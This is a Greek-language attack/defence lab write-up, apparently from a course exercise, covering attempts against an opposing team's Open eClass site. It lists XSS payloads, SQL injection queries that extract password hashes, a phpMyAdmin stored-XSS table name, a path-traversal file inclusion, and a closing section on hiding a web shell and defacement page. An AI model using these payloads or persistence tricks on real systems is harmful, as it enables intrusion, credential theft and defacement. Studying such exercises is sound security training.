5. Δοκιμάσαμε για XSS στην αλλαγή των στοιχείων του χρήστη, αλλά δεν πέρασε τίποτα. :x:
6. Δοκιμάσαμε στην <em>Ανταλλαγή Αρχείων</em> για stored XSS στα πεδία του <em>αποστολέα</em> και της <em>περιγραφής</em>, αλλά πάλι δεν πέτυχε κάτι. :x:
7. Δοκιμάσαμε στις <em>Εργασίες</em> για RFI. Όντως, αλλάζοντας στο URL το tag id σε κάτι άλλο πέρα της τιμής 1 (η οποία συνδέεται με την εργασία που είχαν ήδη ανοιχτή) μπορούσαμε να ανεβάσουμε αρχεία σε έναν γνωστό σε εμάς φάκελο, όπως φαίνεται στην παρακάτω εικόνα. Έτσι, μέσω του path μπορούσαμε να τρέξουμε τον κώδικα που μας άφηναν να ανεβάσουμε (όπως αναφέραμε πιο πάνω δεν απαγορευόταν να ανεβάσουμε αρχεία .php). :heavy_check_mark:

:::info
Αυτό το κενό το βρήκαμε τις μέρες που δοκιμάζαμε άλλες επιθέσεις και όχι από την περίοδο της άμυνας. Γι αυτό και στο κομμάτι της επίθεσης - όπως έχουμε αναφέρει - χρησιμοποιούσαμε τη βάση δεδομένων για να πάρουμε το όνομα του μονοπατιού.
:::
8. Στην <em>Περιοχή Συζητήσεων</em> δοκιμάσαμε ένα reflected XSS στο <b>καμπανάκι</b> των ειδοποιήσεων. Όμως το είχαν καλύψει αυτό. Με ποιον τρόπο δεν είμαστε σίγουροι, γιατί μας πέταγε σε μια σελίδα που έγραφε <em><b>You are not authorized to do this!</b></em>, αλλά παρόλα αυτά το network έδειχνε 200 status στο request μας και ένα 404 μόνο για το favicon του tab. :x:
```
/modules/phpbb/viewforum.php?forum=1&topicnotify='><script>alert(1)</script>&topic_id=2
```
9. Ομοίως στο άλλο καμπανάκι στην περιοχή συζητήσεων είχαμε το ίδιο αποτέλεσμα. :x:
```
/modules/phpbb/index.php?forumcatnotify='><script>alert(1)</script>&cat_id=2
```
10. Στην επεξεργασία ενός μηνύματος στο φόρουμ / περιοχή συζητήσεων στο post_id υπάρχει reflected XSS. Προφανώς, πρέπει να είναι κάποιος συνδεδεμένος σαν drunkadmin. Οπότε έτσι θα μπορούσαμε να οδηγήσουμε τον drunkadmin οπουδήποτε και να τον κάνουμε να κάνει το οτιδήποτε (CSRF). Όμως λόγω του AntiCSRF Token δεν μπορούμε να το κάνουμε σαν επίθεση. :x:
```
/modules/phpbb/editpost.php?post_id='><script>alert(1)</script>&topic=2&forum=1
```
10. Ομοίως με το 9 δοκιμάζοντας το evil script στα tags topic και forum του URL δεν πετυχαίνει το ίδιο attack. :x:
```
/modules/phpbb/editpost.php?post_id=6&topic='><script>alert(1)</script>&forum=1
/modules/phpbb/editpost.php?post_id=6&topic=2&forum='><script>alert(1)</script>
```
11. Στην <em>τηλεσυνεργασία</em> δοκιμάσαμε για XSS στο μήνυμα αποστολής, αλλά το είχαν καλύψει. :x:
:::info
Πριν συνεχίσουμε αξίζει να πούμε πως τα παρακάτω queries αρχικά τα είχαμε δοκιμάσει με όνομα βάσης <b>eclass</b>, αλλά αφού συνδεθήκαμε στη βάση τους έπειτα από την επίθεση είδαμε πως το όνομα eclass το είχαν μετονομάσει σε <b>x4bMain</b>, με το οποίο δοκιμάσαμε τελικά τα queries. Προφανώς εφόσον είχαν χρησιμοποιήσει prepared statements δεν δούλεψε κανένα sqli.
:::
12. Στην επεξεργασία των στοιχείων της εργασίας στο tag id του URL υπήρχε SQLI. Γενικά στο αρχείο work.php υπήρχαν αρκετά SQLI, ανάλογα τα tags στο URL. Δοκιμάσαμε 4 διαφορετικά. Τα είχαν καλύψει όμως. :x:
```
/modules/work/work.php?choice=edit&id=1' and 1=2 union (select password,password,password,password,password,password,password,password,password from x4bMain.user where user_id=1) --
/modules/work/work.php?id=1' and 1=2 union (select password,password,password,password,password,password,password,password,password,password from x4bMain.user where user_id=1) --
/modules/work/work.php?grade_comments=yes&submission=11&grade=50&comments=omada&assignment=1' and 1=2 union (select password,password,password,password,password,password,password,password,password,password from x4bMain.user where user_id=1) --
/modules/work/work.php?sid=1' and 1=2 UNION (SELECT password,password,password,password,password,password,password,password,password,password,password,password,password FROM x4bMain.user WHERE user_id=1) --
```
13. Στην επεξεργασία ενός post στην περιοχή συζητήσεων υπήρχε SQLI στο tag forum του URL. Το είχαν καλύψει όμως. :x:
```
/modules/phpbb/editpost.php?forum=1' and 1=2 ) union (select user_id,username,password from x4bMain.user where user_id=1 ) --
```
14. Στα απενεργοποιημένα εργαλεία του μαθήματος στον <em>Σύνδεσμο</em> υπήρχε η δυνατότητα να μεταφέρεις τον χρήστη σε όποιο σύνδεσμο ήθελες. Έτσι, θα μπορούσαμε να μεταφέρουμε τον drunkadmin στα puppies μας. Αλλά είχαν κλείσει αυτή τη λειτουργία του μαθήματος. :x:
```
/modules/link/link_goto.php?link_id=1&link_url=puppies
```
15. Στην επεξεργασία του μηνύματος στο φόρουμ / περιοχή συζητήσεων δοκιμάσαμε να βάλουμε για σώμα μηνύματος ένα script, αλλά μάλλον το κάνανε escape. :x:
16. Στη δημιουργία μίας άσκησης υπήρχε stored XSS με το που φτιαχνόταν η άσκηση. Το εργαλείο όμως από ό,τι φάνηκε ήταν απενεργοποιημένο για τα καλά! :x:
```
/modules/exercice/admin.php?NewExercise=Yes&exerciseTitle=<script>alert("askisi")</script>&exerciseDescription=<script>alert("perigrafi")</script>&exerciseType=1&exerciseStartDate=2020-04-13&exerciseEndDate=2020-04-13&exerciseTimeConstrain=0&exerciseAttemptsAllowed=0&dispresults=1&dispscore=1&submitExercise=Δημιουργία
```
17. Στην επεξεργασία ενός post στην περιοχή συζητήσεων υπήρχε SQLI. Με ποιον τρόπο δεν είμαστε σίγουροι, γιατί μας πέταγε σε μια σελίδα που έγραφε <em><b>You are not authorized to do this!</b></em>, αλλά παρόλα αυτά το network έδειχνε 200 status στο request μας και ένα 404 μόνο για το favicon του tab. :x:
```
/modules/phpbb/editpost.php?submit=yes&post_id=1' and 1=2 union (select user_id,nom,prenom,username,password,email,statut,am from x4bMain.user where user_id=1) --
```
18. Βρήκαμε τρόπο να ενεργοποιούμε και να απενεργοποιούμε εργαλεία του μαθήματος μέσω URL. Όμως οι αντίπαλοι είχαν προσθέσει και εκεί το AntiCSRF Token. Οπότε δεν θα μπορούσαμε να ανοίξουμε κάποιο εργαλείο σαν απλοί χρήστες με κάποιο CSRF. :x:
```
/modules/work/work.php?eclass_module_id=5&hide=0
```
19. Υπήρχε stored XSS στη διαχείριση στην περιοχή συζητήσεων. Εκει ο drunkadmin με την <em>προσθήκη κατηγορίας</em> δημιουργούσε μια κατηγορία. Στο όνομα της κατηγορίας κατά τη δημιουργία της και κατά την επεξεργασία της υπήρχε XSS. Ίσως το είχαν καλύψει κατά την είσοδο στη βάση ή απλώς το κάλυψαν στις εμφανίσεις του. :x:
```
/modules/forum_admin/forum_admin.php
```
Γενικότερα, οι αντίπαλοι είχαν καλύψει αρκετά καλά τον ιστοχώρο τους με το AntiCSRF Token. Υπήρχε token σε κάθε σημαντική λειτουργία που είχαν προβλέψει πως μπορεί να υπάρχει κάποιος κίνδυνος.
<!--


-->
20. Στο κομμάτι της άμυνας είχαμε ψάξει και κενά στην εφαρμογή phpmyadmin καθώς ήταν κάτι που οι περισσότεροι αντίπαλοι πιθανόν να μην είχαν σκεφτεί. Γνωρίζοντας ότι το phpmyadmin είναι ένα opensource project πήγαμε στη σελίδα (https://www.phpmyadmin.net/security/) του ώστε να δούμε τι κενά είχαν βρεθεί σε διάφορες εκδόσεις.
Κοιτάξαμε όλες τις ανακοινώσεις του 2009 για vulnerabilities, καθώς αυτές φαίνεται να αφορούσαν την έκδοση phpmyadmin που είχαμε. Προσπαθήσαμε να καταλάβουμε τι κενά υπήρχαν και πως θα μπορούσαμε να τα χρησιμοποιήσουμε όμως δεν ήταν όλα τα κενά στο δικό μας installation. Καταφέραμε παρόλα αυτά να κάνουμε μία επιτυχημένη επίθεση κοιτώντας αυτήν την ανακοίνωση: https://www.phpmyadmin.net/security/PMASA-2009-6/.
Πήγαμε στο [commit](https://github.com/phpmyadmin/phpmyadmin/commit/8ec5434999724f61d7df1f9b0b13545274c78b1e) που έγραφε και είδαμε τις αλλαγές που είχαν κάνει στον κώδικα. Συγκεκριμένα κοιτάξαμε το αρχείο db_structure.php στη γραμμή 376 που υπήρχε ένα stored xss στο value (table_name).
Για να κάνουμε μία επιτυχημένη επίθεση έπρεπε να μπούμε στο phpmyadmin και στη συνέχεια να φτιάξουμε κάποιο table δίνοντας για όνομα
```javascript
" onfocus="alert(1)" autofocus="
```
Πιο συγκεκριμένα, επειδή το κενό υπήρχε στο αρχείο db_structure.php έπρεπε να μπούμε από εκείνο το αρχείο, βάζοντας για db το όνομα της Βάσης Δεδομένων.
Για παράδειγμα μπαίνουμε στο:
http://localhost:1180/modules/admin/mysql/db_structure.php?&db=test_database&token=0ba98ea85beffaab386c91b2dda0d39d
:::info
Σε περίπτωση που θέλει κάποιος να κάνει το attack θυμίζουμε ότι πρέπει στο token να βάλει το δικό του value.
:::
Εκεί φτιάχνουμε το table με το κατάλληλο όνομα και στη συνέχεια προσθέτουμε μία τυχαία στήλη για να ολοκληρωθεί η δημιουργία του.

Προφανώς και η αντίπαλη ομάδα ήταν ευάλωτη σε αυτήν την επίθεση. :heavy_check_mark:
21. Δοκιμάσαμε μήπως υπήρχε XSS ή SQLI στην αναζήτηση παρόλο που είχαμε ελέγξει τον κώδικα τον δικό μας για τη διαδικασία της αναζήτησης και φαινόταν να μην έχει κάποιο πρόβλημα. Τελικά όντως δεν είχε κάποιο πρόβλημα η αναζήτηση γενικότερα. :x:
22. Δοκιμάσαμε για XSS στην επεξεργασία των στοιχείων του μαθήματος σε κάθε πεδίο, αλλά δεν ήταν πετυχημένο. :x:
23. Δοκιμάσαμε για XSS στη δημιουργία μαθήματος σε κάθε πεδίο χωρίς επιτυχία. :x:
24. Δοκιμάσαμε για XSS στην επεξεργασία των στοιχείων μιας εργασίας χωρίς επιτυχία. :x:
25. Δοκιμάσαμε για XSS στην επεξεργασία των στοιχείων ενός μαθήματος σε κάθε πεδίο χωρίς επιτυχία. :x:
26. Δοκιμάσαμε για XSS στην περιγραφή του αρχείου προς μεταφόρτωση στις εργασίες χωρίς επιτυχία. :x:
27. Δοκιμάσαμε για XSS στη <em>Σύνδεση με λογαριασμό άλλου χρήστη</em> χωρίς επιτυχία. :x:
```
/modules/admin/change_user.php
username: <script>alert(1)</script>
```
Βέβαια είχαν χρησιμοποιήσει token και εκεί οπότε δεν θα πετύχαινε κάποιο CSRF.
28. Δοκιμάσαμε και μία επίθεση που βρήκαμε στο κομμάτι των επιθέσεων κι έτσι δεν είχαμε καλύψει ούτε εμείς! Στο /modules/conference/conference.orig.php δεν μπορεί να μπεί κάποιος χρήστης από το site παρα μόνο αν γνωρίζει ότι υπάρχει το συγκεκριμένο αρχείο. Πηγαίνοντας σε αυτήν τη σελίδα υπάρχει ένα πεδίο στο οποίο μπορείς να προσθέσεις κείμενο όπως στο κανονικό conference.php. Μπορέσαμε να γράψουμε javascript κώδικα χωρίς να γίνει filtered το script tag με αποτέλεσμα πηγαίνοντας στη σελίδα /modules/conference/refresh_chat.php να κάνουμε stored XSS! :heavy_check_mark:
29. Στο ημερολόγιο παρόλο που βρήκαμε το XSS και από εκεί ξεκίνησε και η όλη επίθεση, δοκιμάσαμε και για SQLI. Δυστυχώς το είχαν καλύψει. :x:
```
/modules/agenda/myagenda.php?month=5&year=2020' and 1=2 union (select 1,username,3,4,5,password,7 from eclass.user where user_id = 1); -- '
```
30. Δοκιμάσαμε επίσης στην περιοχη συζητήσεων στην επεξεργασία ενός μηνύματος να βάλουμε script (CSRF). Όμως, αφού δεν το διάβαζε καν ως κώδικα δεν δοκιμάσαμε CSRF. :x:
```
/modules/phpbb/editpost.php?post_id=2&topic=2&forum=1
```
31. Η τελευταία επίθεση που δοκιμάσαμε ήταν ένα Local File Inclusion που υπήρχε στο /modules/admin/sysinfo/.
Πιο συγκεκριμένα κάποιος χρήστης χωρίς να είναι καν εγγεγραμμένος στην εφαρμογή μπορούσε να εκμεταλλευτεί μία ευπάθεια που υπήρχε στον κώδικα και όπως φαίνεται παρακάτω να τρέξει όποιο .php αρχείο ήθελε μέσα στο server.
Παράδειγμα:
```
/modules/admin/sysinfo/index.php?lng=../../../../../../../../../../../../../var/www/html/courses/TMA102/work/test/test
```
Το αρχείο ήταν το test.php αλλά την κατάληξη την βάζανε οι προγραμματιστές της εφαρμογής στον κώδικα. Έτσι έπρεπε απλώς να βάλουμε στο url lng=../../../../../path_to_file_with_out_php_extention.
Η επίθεση ήταν επιτυχής και θα μπορούσε να χρησιμοποιηθεί σε περίπτωση που είχαν απαγορεύσει την πρόσβαση στους φακέλους /work και /dropbox με κάποιο .htaccess αρχείο καθώς φυσικά και για να τρέξουμε όποιο .php αρχείο βόλευε για κάποια άλλη επίθεση.:heavy_check_mark:
:::info
Εφόσον τελειώσαμε με τις επιθέσεις προσπαθήσαμε όσο μπορούσαμε να καλύψουμε τα ίχνη μας. Σβήσαμε όλα τα αρχεία που είχαμε ανεβάσει στους φακέλους /work και /dropbox καθώς επίσης και όσες εγγραφές υπήρχαν στην Βάση Δεδομένων. Προφανώς δεν μπορούσαμε να σβήσουμε τα logs του apache. Τέλος για το κομμάτι της προστασίας του defacement που είχαμε κάνει, επιλέξαμε να κρύψουμε κάπου το "web shell" καθώς και το defacement page αφήνοντας το site απροστάτευτο. Έτσι πολύ εύκολα σε περίπτωση που κάποιος μας πάρει το defacement μπορούμε να το επαναφέρουμε.
web shell --> /var/www/html/include/phpmathpublisher/doc/help.php
defacement page --> /var/www/html/include/phpmathpublisher/doc/quickhelp.php
:::
</div>
<!-- τελος εδω . ο,τι γραφεται απο εδω και κατω θα φαινεται μπλε.. δεν ξερω. ισως κωδικοποιηση του md για την αριθμηση.. 1. 2. ... -->